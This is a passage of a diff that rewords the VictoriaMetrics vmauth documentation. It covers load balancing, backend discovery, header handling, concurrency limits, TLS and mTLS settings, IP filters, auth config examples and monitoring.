For example, the following [`-auth.config`](#auth-config) sends select queries to `https://vmselect-az1/` and uses the `https://vmselect-az2/` as a fallback when `https://vmselect-az1/` is temporarily unavailable or cannot return full responses.
|
||||
See [these docs](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#cluster-availability) for details about the `deny_partial_response` query arg, which is added to requests before they are proxied to backends.
|
||||
See [these docs](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#cluster-availability) for details about `deny_partial_response` query arg, which is added to requests before they are proxied to backends.
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -917,16 +891,16 @@ The load balancing feature can be used in the following cases:
|
||||
load_balancing_policy: first_available
|
||||
```
|
||||
|
||||
Load balancing can be configured independently for each `user` entry and for each `url_map` entry. See [auth config docs](#auth-config) for more details.
|
||||
Load balancing can be configured independently per each `user` entry and per each `url_map` entry. See [auth config docs](#auth-config) for more details.
|
||||
|
||||
See also [discovering backend IPs](#discovering-backend-ips), [authorization](#authorization) and [routing](#routing).
|
||||
|
||||
## Discovering backend IPs
|
||||
|
||||
By default, `vmauth` distributes load across the backends listed under `url_prefix`, as described in the [load balancing docs](#load-balancing).
|
||||
By default, `vmauth` spreads load among the listed backends at `url_prefix` as described in [load balancing docs](#load-balancing).
|
||||
Sometimes multiple backend instances can be hidden behind a single hostname. For example, `vmselect-service` hostname
|
||||
may point to a cluster of `vmselect` instances in [VictoriaMetrics cluster setup](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#architecture-overview).
|
||||
So the following config may fail to spread load among available `vmselect` instances, since `vmauth` will send all the requests to the same URL, which may end up with a single backend instance:
|
||||
So the following config may fail to spread load among available `vmselect` instances, since `vmauth` will send all the requests to the same url, which may end up to a single backend instance:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -945,7 +919,7 @@ There are the following solutions for this issue:
|
||||
- http://vmselect-3:8481/select/0/prometheus/
|
||||
```
|
||||
|
||||
This scheme works great, but it requires manual updating of the [`-auth.config`](#auth-config) whenever `vmselect` services are restarted, downscaled, or upscaled.
|
||||
This scheme works great, but it needs manual updating of the [`-auth.config`](#auth-config) every time `vmselect` services are restarted, downscaled or upscaled.
|
||||
|
||||
* To set `discover_backend_ips: true` option, so `vmauth` automatically discovers IPs behind the given hostname and then spreads load among the discovered IPs:
|
||||
|
||||
@@ -955,7 +929,7 @@ There are the following solutions for this issue:
|
||||
discover_backend_ips: true
|
||||
```
|
||||
|
||||
If the `url_prefix` contains a hostname with `srv+` prefix, then the hostname without `srv+` prefix is automatically resolved via [DNS SRV](https://en.wikipedia.org/wiki/SRV_record) to the list of hostnames with TCP ports, and `vmauth` balances load among the discovered TCP addresses:
|
||||
If the `url_prefix` contains hostname with `srv+` prefix, then the hostname without `srv+` prefix is automatically resolved via [DNS SRV](https://en.wikipedia.org/wiki/SRV_record) to the list of hostnames with TCP ports, and `vmauth` balances load among the discovered TCP addresses:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -963,26 +937,26 @@ There are the following solutions for this issue:
|
||||
discover_backend_ips: true
|
||||
```
|
||||
|
||||
This functionality is useful for balancing load across backend instances running on different TCP ports, since DNS SRV records include TCP ports.
|
||||
This functionality is useful for balancing load among backend instances, which run on different TCP ports, since DNS SRV records contain TCP ports.
|
||||
|
||||
The `discover_backend_ips` option can be specified at `user` and `url_map` level in the [`-auth.config`](#auth-config). It can also be enabled globally via the `-discoverBackendIPs` command-line flag.
|
||||
The `discover_backend_ips` option can be specified at `user` and `url_map` level in the [`-auth.config`](#auth-config). It can also be enabled globally via `-discoverBackendIPs` command-line flag.
|
||||
|
||||
See also [load balancing docs](#load-balancing).
|
||||
|
||||
## SRV URLs
|
||||
## SRV urls
|
||||
|
||||
If `url_prefix` contains a URL with the hostname starting with `srv+` prefix, then `vmauth` uses [DNS SRV](https://en.wikipedia.org/wiki/SRV_record) lookup for the hostname without the `srv+` prefix and selects a random TCP address (e.g., hostname plus TCP port) from the resolved results.
|
||||
If `url_prefix` contains url with the hostname starting with `srv+` prefix, then `vmauth` uses [DNS SRV](https://en.wikipedia.org/wiki/SRV_record) lookup for the hostname without the `srv+` prefix and selects random TCP address (e.g. hostname plus TCP port) form the resolved results.
|
||||
|
||||
For example, if `some-addr` [DNS SRV](https://en.wikipedia.org/wiki/SRV_record) record contains `some-host:12345` TCP address,
|
||||
then `url_prefix: http://srv+some-addr/some/path` is automatically resolved into `url_prefix: http://some-host:12345/some/path`.
|
||||
DNS SRV resolution is performed whenever a new connection to the `url_prefix` backend is established.
|
||||
The DNS SRV resolution is performed every time new connection to the `url_prefix` backend is established.
|
||||
|
||||
See also [discovering backend addresses](#discovering-backend-ips).
|
||||
|
||||
## Modifying HTTP headers
|
||||
|
||||
`vmauth` supports setting and removing HTTP request headers before sending requests to backends.
|
||||
This is done via the `headers` option. For example, the following [`-auth.config`](#auth-config) sets `TenantID: foobar` header to requests proxied to `http://backend:1234/`. It also overrides the `X-Forwarded-For` request header with an empty value. This effectively removes the `X-Forwarded-For` header from requests proxied to `http://backend:1234/`:
|
||||
`vmauth` supports the ability to set and remove HTTP request headers before sending the requests to backends.
|
||||
This is done via `headers` option. For example, the following [`-auth.config`](#auth-config) sets `TenantID: foobar` header to requests proxied to `http://backend:1234/`. It also overrides `X-Forwarded-For` request header with an empty value. This effectively removes the `X-Forwarded-For` header from requests proxied to `http://backend:1234/`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -1005,9 +979,9 @@ users:
|
||||
- "http://backend:9428/"
|
||||
```
|
||||
|
||||
`vmauth` also supports setting and removing HTTP response headers before returning the response from the backend to the client.
|
||||
This is done via the `response_headers` option. For example, the following [`-auth.config`](#auth-config) sets `Foo: bar` response header
|
||||
and removes the `Server` response header before returning the response to the client:
|
||||
`vmauth` also supports the ability to set and remove HTTP response headers before returning the response from the backend to client.
|
||||
This is done via `response_headers` option. For example, the following [`-auth.config`](#auth-config) sets `Foo: bar` response header
|
||||
and removes `Server` response header before returning the response to client:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -1023,7 +997,7 @@ See also [`Host` header docs](#host-http-header).
|
||||
|
||||
By default, `vmauth` sets the `Host` HTTP header to the backend hostname when proxying requests to the corresponding backend.
|
||||
Sometimes it is needed to keep the original `Host` header from the client request sent to `vmauth`. For example, if backends use host-based routing.
|
||||
In this case, set `keep_original_host: true`. For example, the following config instructs to use the original `Host` header from client requests when proxying requests to the `backend:1234`:
|
||||
In this case set `keep_original_host: true`. For example, the following config instructs to use the original `Host` header from client requests when proxying requests to the `backend:1234`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -1031,7 +1005,7 @@ unauthorized_user:
|
||||
keep_original_host: true
|
||||
```
|
||||
|
||||
It is also possible to set the `Host` header to an arbitrary value when proxying the request to the configured backend, via [`headers` option](#modifying-http-headers):
|
||||
It is also possible to set the `Host` header to arbitrary value when proxying the request to the configured backend, via [`headers` option](#modifying-http-headers):
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -1051,7 +1025,7 @@ unauthorized_user:
|
||||
```
|
||||
|
||||
* By querying `/-/reload` endpoint. It is recommended to protect it with `-reloadAuthKey`. See [security docs](#security) for details.
|
||||
* By passing the interval for config check to the `-configCheckInterval` command-line flag.
|
||||
* By passing the interval for config check to `-configCheckInterval` command-line flag.
|
||||
|
||||
## Concurrency limiting
|
||||
|
||||
@@ -1060,7 +1034,7 @@ unauthorized_user:
|
||||
* `-maxConcurrentRequests` limits the global number of concurrent requests `vmauth` can serve across all the configured users.
|
||||
* `-maxConcurrentPerUserRequests` limits the number of concurrent requests `vmauth` can serve per each configured user.
|
||||
|
||||
It is also possible to set individual limits on the number of concurrent requests per user with the `max_concurrent_requests` option.
|
||||
It is also possible to set individual limits on the number of concurrent requests per each user with the `max_concurrent_requests` option.
|
||||
For example, the following [`-auth.config`](#auth-config) limits the number of concurrent requests from the user `foo` to 10:
|
||||
|
||||
```yaml
|
||||
@@ -1077,29 +1051,29 @@ exceeding the `-maxQueueDuration` command-line flag value.
|
||||
The following [metrics](https://docs.victoriametrics.com/victoriametrics/vmauth/#monitoring) related to concurrency limits are exposed by `vmauth`:
|
||||
|
||||
* `vmauth_concurrent_requests_capacity` - the global limit on the number of concurrent requests `vmauth` can serve.
|
||||
It is set via the `-maxConcurrentRequests` command-line flag.
|
||||
It is set via `-maxConcurrentRequests` command-line flag.
|
||||
* `vmauth_concurrent_requests_current` - the current number of concurrent requests `vmauth` processes.
|
||||
* `vmauth_concurrent_requests_limit_reached_total` - the number of requests rejected with `429 Too Many Requests` error
|
||||
because the global concurrency limit has been reached.
|
||||
because of the global concurrency limit has been reached.
|
||||
* `vmauth_user_concurrent_requests_capacity{username="..."}` - the limit on the number of concurrent requests for the given `username`.
|
||||
* `vmauth_user_concurrent_requests_current{username="..."}` - the current number of concurrent requests for the given `username`.
|
||||
* `vmauth_user_concurrent_requests_limit_reached_total{username="..."}` - the number of requests rejected with `429 Too Many Requests` error
|
||||
because the concurrency limit has been reached for the given `username`.
|
||||
because of the concurrency limit has been reached for the given `username`.
|
||||
* `vmauth_unauthorized_user_concurrent_requests_capacity` - the limit on the number of concurrent requests for unauthorized users (if `unauthorized_user` section is used).
|
||||
* `vmauth_unauthorized_user_concurrent_requests_current` - the current number of concurrent requests for unauthorized users (if `unauthorized_user` section is used).
|
||||
* `vmauth_unauthorized_user_concurrent_requests_limit_reached_total` - the number of requests rejected with `429 Too Many Requests` error
|
||||
because the concurrency limit has been reached for unauthorized users (if the `unauthorized_user` section is used).
|
||||
because of the concurrency limit has been reached for unauthorized users (if `unauthorized_user` section is used).
|
||||
|
||||
See also [request body buffering](https://docs.victoriametrics.com/victoriametrics/vmauth/#request-body-buffering).
|
||||
|
||||
## Request body buffering
|
||||
|
||||
`vmauth` can buffer request bodies {{% available_from "v1.135.0" %}} before proxying the requests to backends. This prevents slow-writing clients from occupying backend connections.
|
||||
`vmauth` can buffer request bodies {{% available_from "v1.135.0" %}} before proxying the requests to backends. This prevent slow-writing clients from occupying connections to backends.
|
||||
This is especially important when clients send requests over unreliable or low-bandwidth networks (for example, [IoT](https://en.wikipedia.org/wiki/Internet_of_things) devices over EDGE networks),
|
||||
where slow uploads can exhaust concurrency limits, increase latency, reduce ingestion rate, and trigger `429 Too Many Requests` responses even when backend resources are not saturated.
|
||||
|
||||
Request body buffering can be configured with the `-requestBufferSize` command-line flag, which defines the maximum number of bytes to buffer from the request body
|
||||
before proxying the request to the backend. If buffering exceeds the duration specified by the `-maxQueueDuration` command-line flag, the request is rejected.
|
||||
before proxying the request to the backend. If buffering takes longer than the duration specified via `-maxQueueDuration` command-line flag, then the request is rejected.
|
||||
|
||||
Request bodies are buffered before applying per-user [concurrency limits](https://docs.victoriametrics.com/victoriametrics/vmauth/#concurrency-limiting).
|
||||
|
||||
@@ -1113,10 +1087,10 @@ See also [concurrency limits](https://docs.victoriametrics.com/victoriametrics/v
|
||||
|
||||
## Backend TLS setup
|
||||
|
||||
By default, `vmauth` uses system settings when performing requests to HTTPS backends specified via the `url_prefix` option in the [`-auth.config`](#auth-config). These settings can be overridden with the following command-line flags:
|
||||
By default, `vmauth` uses system settings when performing requests to HTTPS backends specified via `url_prefix` option in the [`-auth.config`](#auth-config). These settings can be overridden with the following command-line flags:
|
||||
|
||||
* `-backend.tlsInsecureSkipVerify` allows skipping TLS verification when connecting to HTTPS backends.
|
||||
This global setting can be overridden at the per-user level inside [`-auth.config`](#auth-config) via the `tls_insecure_skip_verify` option. For example:
|
||||
This global setting can be overridden at per-user level inside [`-auth.config`](#auth-config) via `tls_insecure_skip_verify` option. For example:
|
||||
|
||||
```yaml
|
||||
- username: "foo"
|
||||
@@ -1124,8 +1098,8 @@ By default, `vmauth` uses system settings when performing requests to HTTPS back
|
||||
tls_insecure_skip_verify: true
|
||||
```
|
||||
|
||||
* `-backend.tlsCAFile` allows specifying the path to the TLS Root CA for verifying backend TLS certificates.
|
||||
This global setting can be overridden at the per-user level inside [`-auth.config`](#auth-config) via the `tls_ca_file` option.
|
||||
* `-backend.tlsCAFile` allows specifying the path to TLS Root CA for verifying backend TLS certificates.
|
||||
This global setting can be overridden at per-user level inside [`-auth.config`](#auth-config) via `tls_ca_file` option.
|
||||
For example:
|
||||
|
||||
```yaml
|
||||
@@ -1134,9 +1108,9 @@ By default, `vmauth` uses system settings when performing requests to HTTPS back
|
||||
tls_ca_file: "/path/to/tls/root/ca"
|
||||
```
|
||||
|
||||
* `-backend.tlsCertFile` and `-backend.tlsKeyFile` allow specifying a client TLS certificate for passing in requests to HTTPS backends,
|
||||
so these certificates could be verified on the backend side (aka [mTLS](https://en.wikipedia.org/wiki/Mutual_authentication)).
|
||||
This global setting can be overridden at the per-user level inside [`-auth.config`](#auth-config) via `tls_cert_file` and `tls_key_file` options. For example:
|
||||
* `-backend.tlsCertFile` and `-backend.tlsKeyFile` allows specifying client TLS certificate for passing in requests to HTTPS backends,
|
||||
so these certificate could be verified at the backend side (aka [mTLS](https://en.wikipedia.org/wiki/Mutual_authentication)).
|
||||
This global setting can be overridden at per-user level inside [`-auth.config`](#auth-config) via `tls_cert_file` and `tls_key_file` options. For example:
|
||||
|
||||
```yaml
|
||||
- username: "foo"
|
||||
@@ -1146,7 +1120,7 @@ By default, `vmauth` uses system settings when performing requests to HTTPS back
|
||||
```
|
||||
|
||||
* `-backend.tlsServerName` allows specifying optional [TLS ServerName](https://en.wikipedia.org/wiki/Server_Name_Indication) for passing in requests to HTTPS backends.
|
||||
This global setting can be overridden at the per-user level inside [`-auth.config`](#auth-config) via the `tls_server_name` option. For example:
|
||||
This global setting can be overridden at per-user level inside [`-auth.config`](#auth-config) via `tls_server_name` option. For example:
|
||||
|
||||
```yaml
|
||||
- username: "foo"
|
||||
@@ -1154,12 +1128,12 @@ By default, `vmauth` uses system settings when performing requests to HTTPS back
|
||||
tls_server_name: "foo.bar.com"
|
||||
```
|
||||
|
||||
The `-backend.tlsCAFile`, `-backend.tlsCertFile`, `-backend.tlsKeyFile`, `tls_ca_file`, `tls_cert_file`, and `tls_key_file` may point either to a local file or to a `http` / `https` URL.
|
||||
The `-backend.tlsCAFile`, `-backend.tlsCertFile`, `-backend.tlsKeyFile`, `tls_ca_file`, `tls_cert_file` and `tls_key_file` may point either to local file or to `http` / `https` url.
|
||||
The file is checked for modifications every second and is automatically re-read when it is updated.
|
||||
|
||||
## IP filters
|
||||
|
||||
The [Enterprise version](https://docs.victoriametrics.com/victoriametrics/enterprise/) of `vmauth` can be configured to allow/deny incoming requests via global and per-user IP filters.
|
||||
[Enterprise version](https://docs.victoriametrics.com/victoriametrics/enterprise/) of `vmauth` can be configured to allow / deny incoming requests via global and per-user IP filters.
|
||||
|
||||
For example, the following config allows requests to `vmauth` from `10.0.0.0/24` network and from `1.2.3.4` IP address, while denying requests from `10.0.0.42` IP address:
|
||||
|
||||
@@ -1196,13 +1170,13 @@ By default, the client's TCP address is utilized for IP filtering. In scenarios
|
||||
|
||||
* Dropping `X-Forwarded-For` headers at the internet-facing reverse proxy (e.g., before traffic reaches `vmauth`).
|
||||
* Do not use `-httpRealIPHeader` at internet-facing `vmauth`.
|
||||
* Add `removeXFFHTTPHeaderValue` for the internet-facing `vmauth`. It instructs `vmauth` to replace the value of `X-Forwarded-For` HTTP header with `remoteAddr` of the client.
|
||||
* Add `removeXFFHTTPHeaderValue` for the internet-facing `vmauth`. It instructs `vmauth` to replace value of `X-Forwarded-For` HTTP header with `remoteAddr` of the client.
|
||||
|
||||
See additional recommendations for [security and privacy concerns](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For#security_and_privacy_concerns)
|
||||
|
||||
### Per-User Configuration
|
||||
|
||||
The values of `httpRealIPHeader` {{% available_from "v1.107.0" %}} can be changed on a per-user basis in the user-specific configuration.
|
||||
The values of `httpRealIPHeader` {{% available_from "v1.107.0" %}} can be changed on a per-user basis within the user-specific configuration.
|
||||
|
||||
```yaml
|
||||
users:
|
||||
@@ -1220,13 +1194,13 @@ users:
|
||||
real_ip_header: CF-Connecting-IP
|
||||
```
|
||||
|
||||
See the config example of using [IP filters](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/app/vmauth/example_config_ent.yml).
|
||||
See config example of using [IP filters](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/app/vmauth/example_config_ent.yml).
|
||||
|
||||
## Reading auth tokens from other HTTP headers
|
||||
|
||||
`vmauth` reads `username`, `password`, and `bearer_token` [config values](#auth-config) from the `Authorization` request header.
|
||||
It is possible to read these auth tokens from any other request header by specifying it via the `-httpAuthHeader` command-line flag.
|
||||
For example, the following command instructs `vmauth` to read the auth token from the `X-Amz-Firehose-Access-Key` header:
|
||||
`vmauth` reads `username`, `password` and `bearer_token` [config values](#auth-config) from `Authorization` request header.
|
||||
It is possible to read these auth tokens from any other request header by specifying it via `-httpAuthHeader` command-line flag.
|
||||
For example, the following command instructs `vmauth` to read auth token from `X-Amz-Firehose-Access-Key` header:
|
||||
|
||||
```sh
|
||||
./vmauth -httpAuthHeader='X-Amz-Firehose-Access-Key'
|
||||
@@ -1243,11 +1217,11 @@ See also [authorization docs](#authorization) and [security docs](#security).
|
||||
|
||||
## Query args handling
|
||||
|
||||
By default, `vmauth` sends all query arguments specified in `url_prefix` to the backend. It also proxies query args from client requests if they do not clash with the args specified in the `url_prefix`. This is needed for security; e.g., it prevents the client from overriding security-sensitive query args specified at `url_prefix`, such as `tenant_id`, `password`, `auth_key`, `extra_filters`, etc.
|
||||
By default, `vmauth` sends all the query args specified in the `url_prefix` to the backend. It also proxies query args from client requests if they do not clash with the args specified in the `url_prefix`. This is needed for security, e.g. it disallows the client overriding security-sensitive query args specified at the `url_prefix` such as `tenant_id`, `password`, `auth_key`, `extra_filters`, etc.
|
||||
|
||||
`vmauth` provides the ability to specify a list of query args, which can be proxied from the client request to the backend if they clash with the args specified in the `url_prefix`. In this case, the client query args are added to the `url_prefix` args before being proxied to the backend. This can be done via the following options:
|
||||
`vmauth` provides the ability to specify a list of query args, which can be proxied from the client request to the backend if they clash with the args specified in the `url_prefix`. In this case the client query args are added to the args from the `url_prefix` before being proxied to the backend. This can be done via the following options:
|
||||
|
||||
* Via `-mergeQueryArgs` command-line flag. This flag may contain a comma-separated list of client query arg names, which are allowed
|
||||
* Via `-mergeQueryArgs` command-line flag. This flag may contain comma-separated list of client query arg names, which are allowed
|
||||
to merge with the `url_prefix` query args when sending the request to the backend. This option is applied globally to all the configured backends.
|
||||
|
||||
* Via `merge_query_args` option at the `user` and `url_map` level. These values override the `-mergeQueryArgs` command-line flag.
|
||||
@@ -1265,7 +1239,7 @@ unauthorized_user:
|
||||
|
||||
## Access log
|
||||
|
||||
vmauth allows configuring access logs {{% available_from "v1.138.0" %}} printing per-user:
|
||||
vmauth allows configuring access logs {{% available_from "#" %}} printing per-user:
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
url_prefix: 'http://localhost:8428/'
|
||||
@@ -1305,13 +1279,13 @@ Access logs can be enabled or disabled per-user with [hot config reload](https:/
|
||||
`-auth.config` is represented in the following `yml` format:
|
||||
|
||||
```yaml
|
||||
# An arbitrary number of usernames may be put here.
|
||||
# Arbitrary number of usernames may be put here.
|
||||
# It is possible to set multiple identical usernames with different passwords.
|
||||
# Such usernames can be differentiated by the `name` option.
|
||||
# Such usernames can be differentiated by `name` option.
|
||||
|
||||
users:
|
||||
# Requests with the 'Authorization: Bearer XXXX' and 'Authorization: Token XXXX'
|
||||
# headers are proxied to http://localhost:8428 .
|
||||
# header are proxied to http://localhost:8428 .
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to http://localhost:8428/api/v1/query
|
||||
# Requests with the Basic Auth username=XXXX are proxied to http://localhost:8428 as well.
|
||||
- bearer_token: "XXXX"
|
||||
@@ -1323,7 +1297,7 @@ users:
|
||||
url_prefix: "http://localhost:8428"
|
||||
|
||||
# Requests with the 'Authorization: Bearer YYY' header are proxied to http://localhost:8428 ,
|
||||
# The `X-Scope-OrgID: foobar` HTTP header is added to every proxied request.
|
||||
# The `X-Scope-OrgID: foobar` http header is added to every proxied request.
|
||||
# The `X-Server-Hostname` http header is removed from the proxied response.
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to http://localhost:8428/api/v1/query
|
||||
- bearer_token: "YYY"
|
||||
@@ -1339,7 +1313,7 @@ users:
|
||||
# are proxied to http://localhost:8428 .
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to http://localhost:8428/api/v1/query
|
||||
#
|
||||
# The given user can send a maximum of 10 concurrent requests according to the provided max_concurrent_requests.
|
||||
# The given user can send maximum 10 concurrent requests according to the provided max_concurrent_requests.
|
||||
# Excess concurrent requests are rejected with 429 HTTP status code.
|
||||
# See also -maxConcurrentPerUserRequests and -maxConcurrentRequests command-line flags.
|
||||
- username: "local-single-node"
|
||||
@@ -1365,7 +1339,7 @@ users:
|
||||
|
||||
# All the requests to http://vmauth:8427 with the given Basic Auth (username:password)
|
||||
# are load-balanced among http://vmselect1:8481/select/123/prometheus and http://vmselect2:8481/select/123/prometheus
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to the following URLs in a round-robin manner:
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to the following urls in a round-robin manner:
|
||||
# - http://vmselect1:8481/select/123/prometheus/api/v1/select
|
||||
# - http://vmselect2:8481/select/123/prometheus/api/v1/select
|
||||
- username: "cluster-select-account-123"
|
||||
@@ -1376,7 +1350,7 @@ users:
|
||||
|
||||
# All the requests to http://vmauth:8427 with the given Basic Auth (username:password)
|
||||
# are load-balanced between http://vminsert1:8480/insert/42/prometheus and http://vminsert2:8480/insert/42/prometheus
|
||||
# For example, http://vmauth:8427/api/v1/write is proxied to the following URLs in a round-robin manner:
|
||||
# For example, http://vmauth:8427/api/v1/write is proxied to the following urls in a round-robin manner:
|
||||
# - http://vminsert1:8480/insert/42/prometheus/api/v1/write
|
||||
# - http://vminsert2:8480/insert/42/prometheus/api/v1/write
|
||||
- username: "cluster-insert-account-42"
|
||||
@@ -1388,16 +1362,16 @@ users:
|
||||
# A single user for querying and inserting data:
|
||||
#
|
||||
# - Requests to http://vmauth:8427/api/v1/query, http://vmauth:8427/api/v1/query_range
|
||||
# and http://vmauth:8427/api/v1/label/<label_name>/values are proxied to the following URLs in a round-robin manner:
|
||||
# and http://vmauth:8427/api/v1/label/<label_name>/values are proxied to the following urls in a round-robin manner:
|
||||
# - http://vmselect1:8481/select/42/prometheus
|
||||
# - http://vmselect2:8481/select/42/prometheus
|
||||
# For example, http://vmauth:8427/api/v1/query is proxied to http://vmselect1:8480/select/42/prometheus/api/v1/query
|
||||
# or to http://vmselect2:8480/select/42/prometheus/api/v1/query .
|
||||
# Requests are retried at other url_prefix backends if response status codes match 500 or 502.
|
||||
# Requests are re-tried at other url_prefix backends if response status codes match 500 or 502.
|
||||
#
|
||||
# - Requests to http://vmauth:8427/api/v1/write are proxied to http://vminsert:8480/insert/42/prometheus/api/v1/write .
|
||||
# The "X-Scope-OrgID: abc" HTTP header is added to these requests.
|
||||
# The "X-Server-Hostname" HTTP header is removed from the proxied response.
|
||||
# The "X-Scope-OrgID: abc" http header is added to these requests.
|
||||
# The "X-Server-Hostname" http header is removed from the proxied response.
|
||||
#
|
||||
# Request which do not match `src_paths` from the `url_map` are proxied to the urls from `default_url`
|
||||
# in a round-robin manner. The original request path is passed in `request_path` query arg.
|
||||
@@ -1432,10 +1406,10 @@ users:
|
||||
- "http://default1:8888/unsupported_url_handler"
|
||||
- "http://default2:8888/unsupported_url_handler"
|
||||
|
||||
# Requests without an Authorization header are proxied according to the `unauthorized_user` section.
|
||||
# Requests without Authorization header are proxied according to `unauthorized_user` section.
|
||||
# Requests are proxied in round-robin fashion between `url_prefix` backends.
|
||||
# The deny_partial_response query arg is added to all the proxied requests.
|
||||
# The requests are retried if url_prefix backends send 500 or 503 response status codes.
|
||||
# The requests are re-tried if url_prefix backends send 500 or 503 response status codes.
|
||||
# Note that the unauthorized_user section takes precedence when processing a route without credentials,
|
||||
# even if such a route also exists in the users section (see https://github.com/VictoriaMetrics/VictoriaMetrics/issues/5236).
|
||||
unauthorized_user:
|
||||
@@ -1455,15 +1429,15 @@ This may be useful for passing secrets to the config.
|
||||
|
||||
## mTLS protection
|
||||
|
||||
By default, `vmauth` accepts HTTP requests at the `8427` port (this port can be changed via the `-httpListenAddr` command-line flag).
|
||||
The [Enterprise version of vmauth](https://docs.victoriametrics.com/victoriametrics/enterprise/) supports the ability to accept [mTLS](https://en.wikipedia.org/wiki/Mutual_authentication) requests at this port, by specifying `-tls` and `-mtls` command-line flags. For example, the following command runs `vmauth`, which accepts only mTLS requests at port `8427`:
|
||||
By default, `vmauth` accepts http requests at `8427` port (this port can be changed via `-httpListenAddr` command-line flags).
|
||||
[Enterprise version of vmauth](https://docs.victoriametrics.com/victoriametrics/enterprise/) supports the ability to accept [mTLS](https://en.wikipedia.org/wiki/Mutual_authentication) requests at this port, by specifying `-tls` and `-mtls` command-line flags. For example, the following command runs `vmauth`, which accepts only mTLS requests at port `8427`:
|
||||
|
||||
```sh
|
||||
./vmauth -tls -mtls -auth.config=...
|
||||
```
|
||||
|
||||
By default, system-wide [TLS Root CA](https://en.wikipedia.org/wiki/Root_certificate) is used to verify client certificates if the `-mtls` command-line flag is specified.
|
||||
It is possible to specify a custom TLS Root CA via the `-mtlsCAFile` command-line flag.
|
||||
By default, system-wide [TLS Root CA](https://en.wikipedia.org/wiki/Root_certificate) is used to verify client certificates, if `-mtls` command-line flag is specified.
|
||||
It is possible to specify custom TLS Root CA via `-mtlsCAFile` command-line flag.
|
||||
|
||||
See also [automatic issuing of TLS certificates](#automatic-issuing-of-tls-certificates) and [mTLS-based request routing](#mtls-based-request-routing).
|
||||
|
||||
@@ -1495,20 +1469,20 @@ It is recommended to protect the following endpoints with authKeys:
|
||||
* `/metrics` with `-metricsAuthKey` command-line flag, so unauthorized users couldn't access [vmauth metrics](https://docs.victoriametrics.com/victoriametrics/vmauth/#monitoring).
|
||||
* `/debug/pprof` with `-pprofAuthKey` command-line flag, so unauthorized users couldn't access [profiling information](#profiling).
|
||||
|
||||
As an alternative, you can serve internal API routes on a different listen address using the command-line flag `-httpInternalListenAddr=127.0.0.1:8426`. {{% available_from "v1.111.0" %}}
|
||||
As an alternative, it's possible to serve internal API routes at the different listen address with command-line flag `-httpInternalListenAddr=127.0.0.1:8426`. {{% available_from "v1.111.0" %}}
|
||||
|
||||
`vmauth` also supports restricting access by IP - see [these docs](#ip-filters). See also [concurrency limiting docs](#concurrency-limiting).
|
||||
`vmauth` also supports the ability to restrict access by IP - see [these docs](#ip-filters). See also [concurrency limiting docs](#concurrency-limiting).
|
||||
|
||||
## Automatic issuing of TLS certificates
|
||||
|
||||
`vmauth` [Enterprise](https://docs.victoriametrics.com/victoriametrics/enterprise/) supports automatic issuing of TLS certificates via [Let's Encrypt service](https://letsencrypt.org/).
|
||||
The following command-line flags must be set in order to enable automatic issuance of TLS certificates:
|
||||
The following command-line flags must be set in order to enable automatic issuing of TLS certificates:
|
||||
|
||||
* `-httpListenAddr` must be set to listen on TCP port `443`. For example, `-httpListenAddr=:443`. This port must be accessible by the [Let's Encrypt service](https://letsencrypt.org/).
|
||||
* `-tls` must be set to accept HTTPS requests at `-httpListenAddr`. Note that `-tlsCertFile` and `-tlsKeyFile` aren't needed when automatic TLS certificate issuing is enabled.
|
||||
* `-tlsAutocertHosts` must be set to a comma-separated list of hosts, which can be reached via `-httpListenAddr`. TLS certificates are automatically issued for these hosts.
|
||||
* `-tlsAutocertEmail` must be set to the contact email for the issued TLS certificates.
|
||||
* `-tlsAutocertCacheDir` may be set to the directory path to persist the issued TLS certificates between `vmauth` restarts. If this flag isn't set, then TLS certificates are reissued on every restart.
|
||||
* `-tls` must be set in order to accept HTTPS requests at `-httpListenAddr`. Note that `-tlcCertFile` and `-tlsKeyFile` aren't needed when automatic TLS certificate issuing is enabled.
|
||||
* `-tlsAutocertHosts` must be set to comma-separated list of hosts, which can be reached via `-httpListenAddr`. TLS certificates are automatically issued for these hosts.
|
||||
* `-tlsAutocertEmail` must be set to contact email for the issued TLS certificates.
|
||||
* `-tlsAutocertCacheDir` may be set to the directory path to persist the issued TLS certificates between `vmauth` restarts. If this flag isn't set, then TLS certificates are re-issued on every restart.
|
||||
|
||||
This functionality can be evaluated for free according to [these docs](https://docs.victoriametrics.com/victoriametrics/enterprise/).
|
||||
|
||||
@@ -1516,14 +1490,14 @@ See also [security recommendations](#security).
|
||||
|
||||
## Monitoring
|
||||
|
||||
`vmauth` exports various metrics in Prometheus exposition format at `http://vmauth-host:8427/metrics` page. It is recommended to set up regular scraping of this page either via [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) or via a Prometheus-compatible scraper, so the exported metrics can be analyzed later.
|
||||
`vmauth` exports various metrics in Prometheus exposition format at `http://vmauth-host:8427/metrics` page. It is recommended to set up regular scraping of this page either via [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) or via Prometheus-compatible scraper, so the exported metrics could be analyzed later.
|
||||
Use the official [Grafana dashboard](https://grafana.com/grafana/dashboards/21394) and [alerting rules](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/deployment/docker/rules/alerts-vmauth.yml) for `vmauth` monitoring.
|
||||
|
||||
If you use Google Cloud Managed Prometheus for scraping metrics from VictoriaMetrics components, then pass `-metrics.exposeMetadata`
|
||||
command-line to them, so they add `TYPE` and `HELP` comments for each exposed metric on the `/metrics` page.
|
||||
